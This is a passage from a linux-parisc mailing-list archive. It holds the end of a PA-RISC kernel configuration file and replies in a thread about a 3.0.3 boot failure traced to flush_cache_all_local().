# CONFIG_FONTS is not set
CONFIG_FONT_8x8=y
CONFIG_FONT_8x16=y
CONFIG_LOGO=y
# CONFIG_LOGO_LINUX_MONO is not set
# CONFIG_LOGO_LINUX_VGA16 is not set
# CONFIG_LOGO_LINUX_CLUT224 is not set
CONFIG_LOGO_PARISC_CLUT224=y
CONFIG_SOUND=y
CONFIG_SOUND_OSS_CORE=y
# CONFIG_SOUND_OSS_CORE_PRECLAIM is not set
CONFIG_SND=y
CONFIG_SND_TIMER=y
CONFIG_SND_PCM=y
CONFIG_SND_SEQUENCER=y
# CONFIG_SND_SEQ_DUMMY is not set
CONFIG_SND_OSSEMUL=y
CONFIG_SND_MIXER_OSS=y
CONFIG_SND_PCM_OSS=y
CONFIG_SND_PCM_OSS_PLUGINS=y
CONFIG_SND_SEQUENCER_OSS=y
# CONFIG_SND_DYNAMIC_MINORS is not set
CONFIG_SND_SUPPORT_OLD_API=y
CONFIG_SND_VERBOSE_PROCFS=y
# CONFIG_SND_VERBOSE_PRINTK is not set
# CONFIG_SND_DEBUG is not set
CONFIG_SND_VMASTER=y
# CONFIG_SND_RAWMIDI_SEQ is not set
# CONFIG_SND_OPL3_LIB_SEQ is not set
# CONFIG_SND_OPL4_LIB_SEQ is not set
# CONFIG_SND_SBAWE_SEQ is not set
# CONFIG_SND_EMU10K1_SEQ is not set
CONFIG_SND_AC97_CODEC=y
CONFIG_SND_DRIVERS=y
# CONFIG_SND_DUMMY is not set
# CONFIG_SND_ALOOP is not set
# CONFIG_SND_VIRMIDI is not set
# CONFIG_SND_MTPAV is not set
# CONFIG_SND_SERIAL_U16550 is not set
# CONFIG_SND_MPU401 is not set
# CONFIG_SND_AC97_POWER_SAVE is not set
CONFIG_SND_PCI=y
CONFIG_SND_AD1889=y
# CONFIG_SND_ALS300 is not set
# CONFIG_SND_ALI5451 is not set
# CONFIG_SND_ATIIXP is not set
# CONFIG_SND_ATIIXP_MODEM is not set
# CONFIG_SND_AU8810 is not set
# CONFIG_SND_AU8820 is not set
# CONFIG_SND_AU8830 is not set
# CONFIG_SND_AW2 is not set
# CONFIG_SND_AZT3328 is not set
# CONFIG_SND_BT87X is not set
# CONFIG_SND_CA0106 is not set
# CONFIG_SND_CMIPCI is not set
# CONFIG_SND_OXYGEN is not set
# CONFIG_SND_CS4281 is not set
# CONFIG_SND_CS46XX is not set
# CONFIG_SND_CS5535AUDIO is not set
# CONFIG_SND_CTXFI is not set
# CONFIG_SND_DARLA20 is not set
# CONFIG_SND_GINA20 is not set
# CONFIG_SND_LAYLA20 is not set
# CONFIG_SND_DARLA24 is not set
# CONFIG_SND_GINA24 is not set
# CONFIG_SND_LAYLA24 is not set
# CONFIG_SND_MONA is not set
# CONFIG_SND_MIA is not set
# CONFIG_SND_ECHO3G is not set
# CONFIG_SND_INDIGO is not set
# CONFIG_SND_INDIGOIO is not set
# CONFIG_SND_INDIGODJ is not set
# CONFIG_SND_INDIGOIOX is not set
# CONFIG_SND_INDIGODJX is not set
# CONFIG_SND_EMU10K1 is not set
# CONFIG_SND_EMU10K1X is not set
# CONFIG_SND_ENS1370 is not set
# CONFIG_SND_ENS1371 is not set
# CONFIG_SND_ES1938 is not set
# CONFIG_SND_ES1968 is not set
# CONFIG_SND_FM801 is not set
# CONFIG_SND_HDA_INTEL is not set
# CONFIG_SND_HDSP is not set
# CONFIG_SND_HDSPM is not set
# CONFIG_SND_ICE1712 is not set
# CONFIG_SND_ICE1724 is not set
# CONFIG_SND_INTEL8X0 is not set
# CONFIG_SND_INTEL8X0M is not set
# CONFIG_SND_KORG1212 is not set
# CONFIG_SND_LOLA is not set
# CONFIG_SND_LX6464ES is not set
# CONFIG_SND_MAESTRO3 is not set
# CONFIG_SND_MIXART is not set
# CONFIG_SND_NM256 is not set
# CONFIG_SND_PCXHR is not set
# CONFIG_SND_RIPTIDE is not set
# CONFIG_SND_RME32 is not set
# CONFIG_SND_RME96 is not set
# CONFIG_SND_RME9652 is not set
# CONFIG_SND_SONICVIBES is not set
# CONFIG_SND_TRIDENT is not set
# CONFIG_SND_VIA82XX is not set
# CONFIG_SND_VIA82XX_MODEM is not set
# CONFIG_SND_VIRTUOSO is not set
# CONFIG_SND_VX222 is not set
# CONFIG_SND_YMFPCI is not set
# CONFIG_SND_USB is not set
# CONFIG_SND_SOC is not set
# CONFIG_SOUND_PRIME is not set
CONFIG_AC97_BUS=y
CONFIG_HID_SUPPORT=y
CONFIG_HID=y
# CONFIG_HIDRAW is not set

#
# USB Input Devices
#
CONFIG_USB_HID=y
# CONFIG_HID_PID is not set
CONFIG_USB_HIDDEV=y

#
# Special HID drivers
#
CONFIG_HID_A4TECH=y
# CONFIG_HID_ACRUX is not set
CONFIG_HID_APPLE=y
CONFIG_HID_BELKIN=y
CONFIG_HID_CHERRY=y
CONFIG_HID_CHICONY=y
# CONFIG_HID_PRODIKEYS is not set
CONFIG_HID_CYPRESS=y
# CONFIG_HID_DRAGONRISE is not set
# CONFIG_HID_EMS_FF is not set
CONFIG_HID_EZKEY=y
# CONFIG_HID_KEYTOUCH is not set
CONFIG_HID_KYE=y
# CONFIG_HID_UCLOGIC is not set
# CONFIG_HID_WALTOP is not set
# CONFIG_HID_GYRATION is not set
# CONFIG_HID_TWINHAN is not set
CONFIG_HID_KENSINGTON=y
# CONFIG_HID_LCPOWER is not set
CONFIG_HID_LOGITECH=y
# CONFIG_LOGITECH_FF is not set
# CONFIG_LOGIRUMBLEPAD2_FF is not set
# CONFIG_LOGIG940_FF is not set
# CONFIG_LOGIWII_FF is not set
CONFIG_HID_MICROSOFT=y
CONFIG_HID_MONTEREY=y
# CONFIG_HID_MULTITOUCH is not set
# CONFIG_HID_NTRIG is not set
# CONFIG_HID_ORTEK is not set
# CONFIG_HID_PANTHERLORD is not set
# CONFIG_HID_PETALYNX is not set
# CONFIG_HID_PICOLCD is not set
# CONFIG_HID_QUANTA is not set
# CONFIG_HID_ROCCAT is not set
# CONFIG_HID_ROCCAT_ARVO is not set
# CONFIG_HID_ROCCAT_KONE is not set
# CONFIG_HID_ROCCAT_KONEPLUS is not set
# CONFIG_HID_ROCCAT_KOVAPLUS is not set
# CONFIG_HID_ROCCAT_PYRA is not set
# CONFIG_HID_SAMSUNG is not set
# CONFIG_HID_SONY is not set
# CONFIG_HID_SUNPLUS is not set
# CONFIG_HID_GREENASIA is not set
# CONFIG_HID_SMARTJOYPLUS is not set
# CONFIG_HID_TOPSEED is not set
# CONFIG_HID_THRUSTMASTER is not set
# CONFIG_HID_ZEROPLUS is not set
# CONFIG_HID_ZYDACRON is not set
CONFIG_USB_SUPPORT=y
CONFIG_USB_ARCH_HAS_HCD=y
CONFIG_USB_ARCH_HAS_OHCI=y
CONFIG_USB_ARCH_HAS_EHCI=y
CONFIG_USB=y
CONFIG_USB_DEBUG=y
# CONFIG_USB_ANNOUNCE_NEW_DEVICES is not set

#
# Miscellaneous USB options
#
CONFIG_USB_DEVICEFS=y
CONFIG_USB_DEVICE_CLASS=y
# CONFIG_USB_DYNAMIC_MINORS is not set
# CONFIG_USB_MON is not set
# CONFIG_USB_WUSB is not set
# CONFIG_USB_WUSB_CBAF is not set

#
# USB Host Controller Drivers
#
# CONFIG_USB_C67X00_HCD is not set
# CONFIG_USB_XHCI_HCD is not set
# CONFIG_USB_EHCI_HCD is not set
# CONFIG_USB_OXU210HP_HCD is not set
# CONFIG_USB_ISP116X_HCD is not set
# CONFIG_USB_ISP1760_HCD is not set
# CONFIG_USB_ISP1362_HCD is not set
CONFIG_USB_OHCI_HCD=y
# CONFIG_USB_OHCI_BIG_ENDIAN_DESC is not set
# CONFIG_USB_OHCI_BIG_ENDIAN_MMIO is not set
CONFIG_USB_OHCI_LITTLE_ENDIAN=y
# CONFIG_USB_UHCI_HCD is not set
# CONFIG_USB_SL811_HCD is not set
# CONFIG_USB_R8A66597_HCD is not set
# CONFIG_USB_WHCI_HCD is not set
# CONFIG_USB_HWA_HCD is not set

#
# USB Device Class drivers
#
# CONFIG_USB_ACM is not set
# CONFIG_USB_PRINTER is not set
# CONFIG_USB_WDM is not set
# CONFIG_USB_TMC is not set

#
# NOTE: USB_STORAGE depends on SCSI but BLK_DEV_SD may
#

#
# also be needed; see USB_STORAGE Help for more info
#
CONFIG_USB_STORAGE=m
# CONFIG_USB_STORAGE_DEBUG is not set
# CONFIG_USB_STORAGE_REALTEK is not set
# CONFIG_USB_STORAGE_DATAFAB is not set
# CONFIG_USB_STORAGE_FREECOM is not set
# CONFIG_USB_STORAGE_ISD200 is not set
CONFIG_USB_STORAGE_USBAT=m
CONFIG_USB_STORAGE_SDDR09=m
CONFIG_USB_STORAGE_SDDR55=m
CONFIG_USB_STORAGE_JUMPSHOT=m
# CONFIG_USB_STORAGE_ALAUDA is not set
# CONFIG_USB_STORAGE_ONETOUCH is not set
# CONFIG_USB_STORAGE_KARMA is not set
# CONFIG_USB_STORAGE_CYPRESS_ATACB is not set
# CONFIG_USB_STORAGE_ENE_UB6250 is not set
# CONFIG_USB_UAS is not set
# CONFIG_USB_LIBUSUAL is not set

#
# USB Imaging devices
#
# CONFIG_USB_MDC800 is not set
# CONFIG_USB_MICROTEK is not set

#
# USB port drivers
#
# CONFIG_USB_SERIAL is not set

#
# USB Miscellaneous drivers
#
# CONFIG_USB_EMI62 is not set
# CONFIG_USB_EMI26 is not set
# CONFIG_USB_ADUTUX is not set
# CONFIG_USB_SEVSEG is not set
# CONFIG_USB_RIO500 is not set
# CONFIG_USB_LEGOTOWER is not set
# CONFIG_USB_LCD is not set
# CONFIG_USB_LED is not set
# CONFIG_USB_CYPRESS_CY7C63 is not set
# CONFIG_USB_CYTHERM is not set
# CONFIG_USB_IDMOUSE is not set
# CONFIG_USB_FTDI_ELAN is not set
# CONFIG_USB_APPLEDISPLAY is not set
# CONFIG_USB_LD is not set
# CONFIG_USB_TRANCEVIBRATOR is not set
# CONFIG_USB_IOWARRIOR is not set
# CONFIG_USB_TEST is not set
# CONFIG_USB_ISIGHTFW is not set
# CONFIG_USB_YUREX is not set
# CONFIG_USB_GADGET is not set

#
# OTG and related infrastructure
#
# CONFIG_NOP_USB_XCEIV is not set
# CONFIG_UWB is not set
# CONFIG_MMC is not set
# CONFIG_MEMSTICK is not set
# CONFIG_NEW_LEDS is not set
# CONFIG_NFC_DEVICES is not set
# CONFIG_ACCESSIBILITY is not set
# CONFIG_INFINIBAND is not set
CONFIG_RTC_LIB=y
CONFIG_RTC_CLASS=y
CONFIG_RTC_HCTOSYS=y
CONFIG_RTC_HCTOSYS_DEVICE="rtc0"
# CONFIG_RTC_DEBUG is not set

#
# RTC interfaces
#
CONFIG_RTC_INTF_SYSFS=y
CONFIG_RTC_INTF_PROC=y
CONFIG_RTC_INTF_DEV=y
# CONFIG_RTC_INTF_DEV_UIE_EMUL is not set
# CONFIG_RTC_DRV_TEST is not set

#
# SPI RTC drivers
#

#
# Platform RTC drivers
#
# CONFIG_RTC_DRV_DS1286 is not set
# CONFIG_RTC_DRV_DS1511 is not set
# CONFIG_RTC_DRV_DS1553 is not set
# CONFIG_RTC_DRV_DS1742 is not set
# CONFIG_RTC_DRV_STK17TA8 is not set
# CONFIG_RTC_DRV_M48T86 is not set
# CONFIG_RTC_DRV_M48T35 is not set
# CONFIG_RTC_DRV_M48T59 is not set
# CONFIG_RTC_DRV_MSM6242 is not set
# CONFIG_RTC_DRV_BQ4802 is not set
# CONFIG_RTC_DRV_RP5C01 is not set
# CONFIG_RTC_DRV_V3020 is not set

#
# on-CPU RTC drivers
#
CONFIG_RTC_DRV_GENERIC=y
# CONFIG_DMADEVICES is not set
# CONFIG_AUXDISPLAY is not set
# CONFIG_UIO is not set
# CONFIG_STAGING is not set

#
# File systems
#
CONFIG_EXT2_FS=y
# CONFIG_EXT2_FS_XATTR is not set
# CONFIG_EXT2_FS_XIP is not set
CONFIG_EXT3_FS=y
# CONFIG_EXT3_DEFAULTS_TO_ORDERED is not set
# CONFIG_EXT3_FS_XATTR is not set
CONFIG_EXT4_FS=m
CONFIG_EXT4_FS_XATTR=y
CONFIG_EXT4_FS_POSIX_ACL=y
# CONFIG_EXT4_FS_SECURITY is not set
# CONFIG_EXT4_DEBUG is not set
CONFIG_JBD=y
CONFIG_JBD2=m
CONFIG_FS_MBCACHE=m
# CONFIG_REISERFS_FS is not set
# CONFIG_JFS_FS is not set
# CONFIG_XFS_FS is not set
# CONFIG_BTRFS_FS is not set
# CONFIG_NILFS2_FS is not set
CONFIG_FS_POSIX_ACL=y
CONFIG_EXPORTFS=y
CONFIG_FILE_LOCKING=y
CONFIG_FSNOTIFY=y
CONFIG_DNOTIFY=y
CONFIG_INOTIFY_USER=y
CONFIG_FANOTIFY=y
# CONFIG_QUOTA is not set
# CONFIG_QUOTACTL is not set
# CONFIG_AUTOFS4_FS is not set
# CONFIG_FUSE_FS is not set

#
# Caches
#
# CONFIG_FSCACHE is not set

#
# CD-ROM/DVD Filesystems
#
CONFIG_ISO9660_FS=y
CONFIG_JOLIET=y
CONFIG_ZISOFS=y
# CONFIG_UDF_FS is not set

#
# DOS/FAT/NT Filesystems
#
CONFIG_FAT_FS=m
# CONFIG_MSDOS_FS is not set
CONFIG_VFAT_FS=m
CONFIG_FAT_DEFAULT_CODEPAGE=437
CONFIG_FAT_DEFAULT_IOCHARSET="iso8859-1"
# CONFIG_NTFS_FS is not set

#
# Pseudo filesystems
#
CONFIG_PROC_FS=y
CONFIG_PROC_KCORE=y
CONFIG_PROC_SYSCTL=y
CONFIG_PROC_PAGE_MONITOR=y
CONFIG_SYSFS=y
CONFIG_TMPFS=y
# CONFIG_TMPFS_POSIX_ACL is not set
# CONFIG_TMPFS_XATTR is not set
# CONFIG_HUGETLB_PAGE is not set
# CONFIG_CONFIGFS_FS is not set
CONFIG_MISC_FILESYSTEMS=y
# CONFIG_ADFS_FS is not set
# CONFIG_AFFS_FS is not set
# CONFIG_HFS_FS is not set
# CONFIG_HFSPLUS_FS is not set
# CONFIG_BEFS_FS is not set
# CONFIG_BFS_FS is not set
# CONFIG_EFS_FS is not set
# CONFIG_LOGFS is not set
# CONFIG_CRAMFS is not set
# CONFIG_SQUASHFS is not set
# CONFIG_VXFS_FS is not set
# CONFIG_MINIX_FS is not set
# CONFIG_OMFS_FS is not set
# CONFIG_HPFS_FS is not set
# CONFIG_QNX4FS_FS is not set
# CONFIG_ROMFS_FS is not set
# CONFIG_PSTORE is not set
# CONFIG_SYSV_FS is not set
# CONFIG_UFS_FS is not set
CONFIG_NETWORK_FILESYSTEMS=y
CONFIG_NFS_FS=y
CONFIG_NFS_V3=y
# CONFIG_NFS_V3_ACL is not set
# CONFIG_NFS_V4 is not set
# CONFIG_ROOT_NFS is not set
CONFIG_NFSD=y
# CONFIG_NFSD_DEPRECATED is not set
CONFIG_NFSD_V3=y
# CONFIG_NFSD_V3_ACL is not set
# CONFIG_NFSD_V4 is not set
CONFIG_LOCKD=y
CONFIG_LOCKD_V4=y
CONFIG_NFS_COMMON=y
CONFIG_SUNRPC=y
# CONFIG_CEPH_FS is not set
# CONFIG_CIFS is not set
# CONFIG_NCP_FS is not set
# CONFIG_CODA_FS is not set
# CONFIG_AFS_FS is not set

#
# Partition Types
#
# CONFIG_PARTITION_ADVANCED is not set
CONFIG_MSDOS_PARTITION=y
CONFIG_NLS=y
CONFIG_NLS_DEFAULT="iso8859-1"
CONFIG_NLS_CODEPAGE_437=m
# CONFIG_NLS_CODEPAGE_737 is not set
# CONFIG_NLS_CODEPAGE_775 is not set
CONFIG_NLS_CODEPAGE_850=m
# CONFIG_NLS_CODEPAGE_852 is not set
# CONFIG_NLS_CODEPAGE_855 is not set
# CONFIG_NLS_CODEPAGE_857 is not set
# CONFIG_NLS_CODEPAGE_860 is not set
# CONFIG_NLS_CODEPAGE_861 is not set
# CONFIG_NLS_CODEPAGE_862 is not set
# CONFIG_NLS_CODEPAGE_863 is not set
# CONFIG_NLS_CODEPAGE_864 is not set
# CONFIG_NLS_CODEPAGE_865 is not set
# CONFIG_NLS_CODEPAGE_866 is not set
# CONFIG_NLS_CODEPAGE_869 is not set
# CONFIG_NLS_CODEPAGE_936 is not set
# CONFIG_NLS_CODEPAGE_950 is not set
# CONFIG_NLS_CODEPAGE_932 is not set
# CONFIG_NLS_CODEPAGE_949 is not set
# CONFIG_NLS_CODEPAGE_874 is not set
# CONFIG_NLS_ISO8859_8 is not set
# CONFIG_NLS_CODEPAGE_1250 is not set
# CONFIG_NLS_CODEPAGE_1251 is not set
CONFIG_NLS_ASCII=m
CONFIG_NLS_ISO8859_1=m
# CONFIG_NLS_ISO8859_2 is not set
# CONFIG_NLS_ISO8859_3 is not set
# CONFIG_NLS_ISO8859_4 is not set
# CONFIG_NLS_ISO8859_5 is not set
# CONFIG_NLS_ISO8859_6 is not set
# CONFIG_NLS_ISO8859_7 is not set
# CONFIG_NLS_ISO8859_9 is not set
# CONFIG_NLS_ISO8859_13 is not set
# CONFIG_NLS_ISO8859_14 is not set
CONFIG_NLS_ISO8859_15=m
# CONFIG_NLS_KOI8_R is not set
# CONFIG_NLS_KOI8_U is not set
CONFIG_NLS_UTF8=m

#
# Kernel hacking
#
# CONFIG_PRINTK_TIME is not set
CONFIG_DEFAULT_MESSAGE_LOGLEVEL=4
CONFIG_ENABLE_WARN_DEPRECATED=y
CONFIG_ENABLE_MUST_CHECK=y
CONFIG_FRAME_WARN=1024
CONFIG_MAGIC_SYSRQ=y
CONFIG_STRIP_ASM_SYMS=y
# CONFIG_UNUSED_SYMBOLS is not set
# CONFIG_DEBUG_FS is not set
CONFIG_HEADERS_CHECK=y
# CONFIG_DEBUG_SECTION_MISMATCH is not set
CONFIG_DEBUG_KERNEL=y
# CONFIG_DEBUG_SHIRQ is not set
# CONFIG_LOCKUP_DETECTOR is not set
# CONFIG_HARDLOCKUP_DETECTOR is not set
CONFIG_DETECT_HUNG_TASK=y
CONFIG_DEFAULT_HUNG_TASK_TIMEOUT=120
# CONFIG_BOOTPARAM_HUNG_TASK_PANIC is not set
CONFIG_BOOTPARAM_HUNG_TASK_PANIC_VALUE=0
CONFIG_SCHED_DEBUG=y
# CONFIG_SCHEDSTATS is not set
# CONFIG_TIMER_STATS is not set
# CONFIG_DEBUG_OBJECTS is not set
# CONFIG_DEBUG_SLAB is not set
# CONFIG_DEBUG_RT_MUTEXES is not set
# CONFIG_RT_MUTEX_TESTER is not set
# CONFIG_DEBUG_SPINLOCK is not set
CONFIG_DEBUG_MUTEXES=y
# CONFIG_SPARSE_RCU_POINTER is not set
# CONFIG_DEBUG_SPINLOCK_SLEEP is not set
# CONFIG_DEBUG_LOCKING_API_SELFTESTS is not set
# CONFIG_DEBUG_STACK_USAGE is not set
# CONFIG_DEBUG_KOBJECT is not set
CONFIG_DEBUG_BUGVERBOSE=y
# CONFIG_DEBUG_INFO is not set
# CONFIG_DEBUG_VM is not set
# CONFIG_DEBUG_WRITECOUNT is not set
CONFIG_DEBUG_MEMORY_INIT=y
# CONFIG_DEBUG_LIST is not set
# CONFIG_TEST_LIST_SORT is not set
# CONFIG_DEBUG_SG is not set
# CONFIG_DEBUG_NOTIFIERS is not set
# CONFIG_DEBUG_CREDENTIALS is not set
# CONFIG_BOOT_PRINTK_DELAY is not set
# CONFIG_RCU_TORTURE_TEST is not set
# CONFIG_BACKTRACE_SELF_TEST is not set
# CONFIG_DEBUG_BLOCK_EXT_DEVT is not set
# CONFIG_DEBUG_FORCE_WEAK_PER_CPU is not set
# CONFIG_FAULT_INJECTION is not set
# CONFIG_LATENCYTOP is not set
# CONFIG_SYSCTL_SYSCALL_CHECK is not set
# CONFIG_DEBUG_PAGEALLOC is not set
# CONFIG_BUILD_DOCSRC is not set
# CONFIG_ATOMIC64_SELFTEST is not set
# CONFIG_SAMPLES is not set
# CONFIG_TEST_KSTRTOX is not set
CONFIG_DEBUG_RODATA=y
# CONFIG_DEBUG_STRICT_USER_COPY_CHECKS is not set

#
# Security options
#
# CONFIG_KEYS is not set
# CONFIG_SECURITY_DMESG_RESTRICT is not set
# CONFIG_SECURITY is not set
# CONFIG_SECURITYFS is not set
CONFIG_DEFAULT_SECURITY_DAC=y
CONFIG_DEFAULT_SECURITY=""
CONFIG_CRYPTO=y

#
# Crypto core or helper
#
CONFIG_CRYPTO_ALGAPI=m
CONFIG_CRYPTO_ALGAPI2=m
CONFIG_CRYPTO_AEAD2=m
CONFIG_CRYPTO_BLKCIPHER=m
CONFIG_CRYPTO_BLKCIPHER2=m
CONFIG_CRYPTO_HASH=m
CONFIG_CRYPTO_HASH2=m
CONFIG_CRYPTO_RNG2=m
CONFIG_CRYPTO_PCOMP2=m
CONFIG_CRYPTO_MANAGER=m
CONFIG_CRYPTO_MANAGER2=m
CONFIG_CRYPTO_MANAGER_DISABLE_TESTS=y
# CONFIG_CRYPTO_GF128MUL is not set
CONFIG_CRYPTO_NULL=m
CONFIG_CRYPTO_WORKQUEUE=m
# CONFIG_CRYPTO_CRYPTD is not set
# CONFIG_CRYPTO_AUTHENC is not set
CONFIG_CRYPTO_TEST=m

#
# Authenticated Encryption with Associated Data
#
# CONFIG_CRYPTO_CCM is not set
# CONFIG_CRYPTO_GCM is not set
# CONFIG_CRYPTO_SEQIV is not set

#
# Block modes
#
CONFIG_CRYPTO_CBC=m
# CONFIG_CRYPTO_CTR is not set
# CONFIG_CRYPTO_CTS is not set
# CONFIG_CRYPTO_ECB is not set
# CONFIG_CRYPTO_LRW is not set
# CONFIG_CRYPTO_PCBC is not set
# CONFIG_CRYPTO_XTS is not set

#
# Hash modes
#
# CONFIG_CRYPTO_HMAC is not set
# CONFIG_CRYPTO_XCBC is not set
# CONFIG_CRYPTO_VMAC is not set

#
# Digest
#
CONFIG_CRYPTO_CRC32C=m
# CONFIG_CRYPTO_GHASH is not set
# CONFIG_CRYPTO_MD4 is not set
CONFIG_CRYPTO_MD5=m
# CONFIG_CRYPTO_MICHAEL_MIC is not set
# CONFIG_CRYPTO_RMD128 is not set
# CONFIG_CRYPTO_RMD160 is not set
# CONFIG_CRYPTO_RMD256 is not set
# CONFIG_CRYPTO_RMD320 is not set
# CONFIG_CRYPTO_SHA1 is not set
# CONFIG_CRYPTO_SHA256 is not set
# CONFIG_CRYPTO_SHA512 is not set
# CONFIG_CRYPTO_TGR192 is not set
# CONFIG_CRYPTO_WP512 is not set

#
# Ciphers
#
# CONFIG_CRYPTO_AES is not set
# CONFIG_CRYPTO_ANUBIS is not set
# CONFIG_CRYPTO_ARC4 is not set
CONFIG_CRYPTO_BLOWFISH=m
# CONFIG_CRYPTO_CAMELLIA is not set
# CONFIG_CRYPTO_CAST5 is not set
# CONFIG_CRYPTO_CAST6 is not set
CONFIG_CRYPTO_DES=m
# CONFIG_CRYPTO_FCRYPT is not set
# CONFIG_CRYPTO_KHAZAD is not set
# CONFIG_CRYPTO_SALSA20 is not set
# CONFIG_CRYPTO_SEED is not set
# CONFIG_CRYPTO_SERPENT is not set
# CONFIG_CRYPTO_TEA is not set
# CONFIG_CRYPTO_TWOFISH is not set

#
# Compression
#
CONFIG_CRYPTO_DEFLATE=m
# CONFIG_CRYPTO_ZLIB is not set
# CONFIG_CRYPTO_LZO is not set

#
# Random Number Generation
#
# CONFIG_CRYPTO_ANSI_CPRNG is not set
# CONFIG_CRYPTO_USER_API_HASH is not set
# CONFIG_CRYPTO_USER_API_SKCIPHER is not set
# CONFIG_CRYPTO_HW is not set
# CONFIG_BINARY_PRINTF is not set

#
# Library routines
#
CONFIG_BITREVERSE=y
CONFIG_CRC_CCITT=m
CONFIG_CRC16=m
# CONFIG_CRC_T10DIF is not set
# CONFIG_CRC_ITU_T is not set
CONFIG_CRC32=y
# CONFIG_CRC7 is not set
CONFIG_LIBCRC32C=m
CONFIG_ZLIB_INFLATE=y
CONFIG_ZLIB_DEFLATE=m
CONFIG_LZO_DECOMPRESS=y
CONFIG_XZ_DEC=y
CONFIG_XZ_DEC_X86=y
CONFIG_XZ_DEC_POWERPC=y
CONFIG_XZ_DEC_IA64=y
CONFIG_XZ_DEC_ARM=y
CONFIG_XZ_DEC_ARMTHUMB=y
CONFIG_XZ_DEC_SPARC=y
CONFIG_XZ_DEC_BCJ=y
# CONFIG_XZ_DEC_TEST is not set
CONFIG_DECOMPRESS_GZIP=y
CONFIG_DECOMPRESS_BZIP2=y
CONFIG_DECOMPRESS_LZMA=y
CONFIG_DECOMPRESS_XZ=y
CONFIG_DECOMPRESS_LZO=y
CONFIG_HAS_IOMEM=y
CONFIG_HAS_IOPORT=y
CONFIG_HAS_DMA=y
CONFIG_NLATTR=y
CONFIG_GENERIC_ATOMIC64=y
# CONFIG_AVERAGE is not set

--nextPart1678851.zauVQ3EooY--

--nextPart9841753.576dZBSHie
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: This is a digitally signed message part.

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.15 (GNU/Linux)

iEYEABECAAYFAk5f2V8ACgkQXKSJPmm5/E446wCfZquJwG8cfkqwSS+6zGLeaeJH
TKsAoIZlLsA8waS3GE/t6rXWvrurHrOU
=RLEt
-----END PGP SIGNATURE-----

--nextPart9841753.576dZBSHie--

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Rolf Eike Beer" <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Boot failure with 3.0.3: swapper (pid 0): Protection id trap
 (code 7)
Date: Fri, 2 Sep 2011 12:30:22 +0200
Lines: 16
Approved: news@gmane.org
Message-ID: <65eae6bb26716d64e7f5959302b26fa9.squirrel@webmail.sf-mail.de>
References: <201108191958.35802.eike-kernel@sf-tec.de>
    <a53708ae6c6247c7ce45d4e5b8131ea7.squirrel@webmail.sf-mail.de>
    <20110831154820.GH22818@bombadil.infradead.org>
    <20110831160419.GI22818@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7BIT
X-Trace: dough.gmane.org 1314959446 25930 80.91.229.12 (2 Sep 2011 10:30:46 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 2 Sep 2011 10:30:46 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Sep 02 12:30:37 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QzR14-0008Sy-Dt
	for glpp-linux-parisc@lo.gmane.org; Fri, 02 Sep 2011 12:30:30 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932970Ab1IBKa2 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 2 Sep 2011 06:30:28 -0400
Original-Received: from mail.sf-mail.de ([62.27.20.61]:60115 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S932779Ab1IBKa2 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 2 Sep 2011 06:30:28 -0400
Original-Received: (qmail 2785 invoked by uid 81); 2 Sep 2011 10:30:22 -0000
Original-Received: from 80.150.94.234
        (SquirrelMail authenticated user eike@sf-mail.de)
        by webmail.sf-mail.de with HTTP;
        Fri, 2 Sep 2011 12:30:22 +0200
In-Reply-To: <20110831160419.GI22818@bombadil.infradead.org>
User-Agent: SquirrelMail/1.4.22
X-Priority: 3 (Normal)
Importance: Normal
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3926
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3926>

> On Wed, Aug 31, 2011 at 11:48:20AM -0400, Kyle McMartin wrote:
>> Attach .config?
>>
>
> I suspect bootmem changes have broken somewhere on 32-bit... try
> inserting a few printk between each of the function calls at the start
> of paging_init to try to narrow down exactly where it fails.

It's flush_cache_all_local() that fails.

Eike
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Boot failure with 3.0.3: swapper (pid 0): Protection id trap (code 7)
Date: Sat, 3 Sep 2011 21:46:51 -0400
Lines: 37
Approved: news@gmane.org
Message-ID: <BLU0-SMTP59F0DC2CD7C525D1524BA7971A0@phx.gbl>
References: <201108191958.35802.eike-kernel@sf-tec.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1315101208 14705 80.91.229.12 (4 Sep 2011 01:53:28 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 4 Sep 2011 01:53:28 +0000 (UTC)
Cc: "linux-parisc" <linux-parisc@vger.kernel.org>
